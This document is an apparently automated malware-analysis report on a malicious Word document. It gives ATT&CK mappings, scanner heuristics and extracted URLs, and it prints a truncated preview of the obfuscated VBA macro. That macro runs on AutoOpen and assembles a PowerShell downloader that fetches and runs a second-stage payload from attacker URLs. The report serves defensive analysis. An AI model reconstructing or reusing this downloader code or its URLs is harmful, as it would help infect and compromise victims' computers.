MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function to execute a payload, as indicated by critical heuristic firings. The script attempts to download and execute a second-stage payload from a suspicious URL, which is reconstructed as 'https://www.blueyachtchiMcv5.com/oMgoZ/Y4iMDnJQlYpbrbfpXzw'.
Heuristics 7
-
ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://reiMP+iMPviewzaap.aiMP+cv5+cv5iMPzurewS0P+Scv5+cv50PiMP+iMPebsitesiMP+iMP.net/oMgoZ/Y4iMDnJQlYpbrbfpXzw In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 22085 bytes |
SHA-256: 202da9918b22895c2548961f73fa3c9bf83722f7ea40e972332192a5a7e3fa5e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "UXEKrTcYdjApzI"
Sub AutoOpen()
On Error Resume Next
GhKJTcPUw = WwYGGoFlTaR - CGGOwmcLbKmlpl / (8656853 + GQGvZalCkHiC - 6899216 + GFXHiED)
FdcrnALLn = UvWfDUWab - DirHabVEjN / (6512393 + ofBmdDla - 4937609 + wqJHNaDlBjCjz)
amVRMfHia = NGqdQrSoBvLi - wTNuAvL / (195088 + FjbAImZ - 9164132 + MWHvAXwmt)
Application.Run "SssbuNrRrEn", JpruannMCh
isBonsmXz = kGiOiJBJCPjjOF - zLtCSqzNBdI / (473277 + siOkobLLd - 1513620 + mzNtXKCdwL)
ojsVfImsh = ZHkRTBwrnuSV - UPScDqr / (5163821 + GEDCVPJSYSw - 4326410 + fOvaVMKpCtTcYF)
End Sub
Function JpruannMCh()
On Error Resume Next
AsWoNDtOSr = KoCvtpnjiP - UMnpssIJTvZDc / (8103294 + CRsrtRjKXRtqOz - 3326745 + wYVXWYrhIa)
WfDPKR = caklZFvnWqqV - lCQYzBtMCZ / (5335036 + GSbdaKjThGj - 7373223 + TlTJvfHDzmT)
bBKQAnbCY = SiGhWaAJ - TnUJvjHC / (8140392 + TisfQaCGuUa - 1646542 + HVHbclKjjdZ)
UDzCsMhb = nLsjMjaAjtv + Mid(("ww+'har]39 -cRS0P+S0cv5+cv5PEPLACeiMPW2KiMP,[Char]34 -rEpLace i'+'MPjPIiMP,[Char]92 -ccv5+cv5REPLACe([Char]52+[Ccv5+cv5h'+'ar]89+[Char]11NQAhUbDslUVNDrtZtqFwzidva"), 3, 137)
jaFiSm = GAdaCqGT - GofKGMnnEi / (3112661 + wjBTfSbCHvU - 4923864 + ZGshYmf)
czpWmUz = McotprmMMtVlc - RcHXYiRM / (2132570 + GJhFvGfsko - 7386360 + MZpapqvB)
KraVTsTmwFJ = oYRpQaBNAZARTn - KjQFNcAnVJP / (6474296 + zpaRJWRkPPfj - 5815884 + jOmpsmJQIZp)
ZEFrjkjH = wzAzwAB + Mid(("Oi'+'.iMP+iMPciMP+iMP'+'oiMP+iMPmiMP+iMPS0P+S0'+'P.au/S0P+S0PkiMP+icv5+cv5MPRiMP+iMPBGS7S0P+S0cv5+cv5P/?iMP+'+'iMS0P+S0PPhttiMP+iMPps://ww'+'w.blueyachtchiMcv5+cv5P'+'+iMPartecv5+cv5r.coYtRwtjPCtQPjtDmVFudQlhGKBwauURjRu"), 2, 185)
NqtzKtBTW = VvuQlZjwQYjUWv - jjAbVAdzTk / (5958351 + KOYQDhvQOWroP - 820464 + XMMLdwvjiz)
BGREI = mzrvajGl - jsIfnbiKKo / (2431539 + RcGmHYBq - 2755715 + uSwuwYSvLhi)
zBSVSssO = nfEhYCSlZpl - VUlITHFuLFzqis / (5561257 + rOdihmo - 5249937 + ZAzYcEEjCZdn)
YivIOm = VnlvfAsUQLwiI + Mid(("GkP88+[cHAR]50+[cHAR]122),[cHAR]124 -CRePLace 'j3x',[cHAR]36) )IIsiiEzdVAW"), 4, 61)
AvwfC = jZMuLLGNijJZtH - WiBtJjS / (9864798 + hlaBzSGtV - 5241455 + ZMissaoqzd)
MtJQWC = ivWNlhoESNat - ZlEPQZQE / (3531688 + jJAIAjrcBowDi - 5983194 + hZFQJGzSWTGV)
wzfbEs = aXNfQHqElY - ValYEOWGZfiAK / (7674964 + hjqiotNR - 348210 + bTmXojwASvi)
NUzfsGU = cDcjTihN + Mid(("oYHjCEMPWebCiMP+iMPlient;4YoNiMP+iMPSBiMcv5+cv5P+iMP =iMP+iMP 4iMP+iMPYonsadaiMP+iMPsd.nS0P+S0PextiMP+iMP(10000, 2iMP+iMP82133)i'+'MP+iS0P+S'+'0PMP;4YoAiMP+iMPDiMP+iMPCiMP+iMPX = iS0P+S0nKOfWVGs"), 7, 180)
fBOVG = HaJNHjtHIjtdu - jkwmArsbLFcV / (8426173 + QXKHYbfwfSpQYn - 4880575 + hlNNQLvEWLwf)
dKHzPjiiBw = EllrzrlYl - SDnFfzj / (3646208 + BYYrIid - 1027922 + FlMdzhahEYY)
CJvhbhUBi = nNvjuKcFPHmsui - ftcNWlKTAspDG / (5931512 + tKuHNLcLOUBzLw - 9793562 + iVqunbKCKd)
QocZZzH = bOIzzwurWD + Mid(("CPiKUEYmiMP+iMP.Net.iMP'+'+iPLPllvajurvXTsfj"), 8, 21)
wUmYSqPnczw = NtVmwVBYHiPj - RArwkRhX / (1939287 + iYtkXVwFL - 8379375 + NRhYfYt)
QiiuZjf = zYHrHvbGp - NVLDfqNEkiD / (2041316 + DsFEjKYEsnI - 2434329 + XhmovOGYzVtKl)
KNKPwwDYDiL = LanPLmuDwCrsw - bVhCrqTfR / (9296715 + pDEFWLtzTMiE - 4737205 + ZuTikwDSpzcnrS)
jtiuZvh = vnEGWaRNbwmQfD + Mid(("MwoYIFZ'+'2iMP+iMPKiS0P+S0PMP'+'+iMPTiMS0P+S0PP+iMPoStrvLd'+'ivLdNg'+'W2K()iM'+'P+iMP, 4YoSDiMP+iMPC);&iMP+iMP(Y'+'4EiMP+iMPIncv5+'+'cv5voiMP+iMPY4S0P+S0PEiMP+iMP+Y4EktnvKL"), 8, 160)
isiIzo = zRJERvz - hzfWOGdiTaCwjV / (2438817 + bqEVGswIpkAKi - 7510262 + zYiarBz)
PZRpThdQn = kUtXWrjXcE - cariqpAWj / (5718245 + SEjZDXw - 8911272 + pcVTANVbQJ)
jnijmKZ = YFMKbIus - qfSrdBorzoIZ / (6482714 + bzEXdcUZFXRi - 2472841 + WzudFIdKKiqwY)
jMjaNWuoBzR = XfIrjVjqwcrzuc + Mid(("kFhKZdpXrtfqjFzZziMP+iMPom/rLiMP+iMP7zkpa/iMP+iS0P+S'+'0PMP?http://jiMP'+'+iMPatbAChdUGdjVNjElPToZ"), 18, 63)
zwcUYjaAT = RRZvZvpzU - tfTZGRpZhiEpvd / (4223806 + rqGLbKMpqLk - 2788915 + uJaJiiW)
sSCYaZFpCT = RPTUzDlLb - wZvEwrJYjS / (57
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.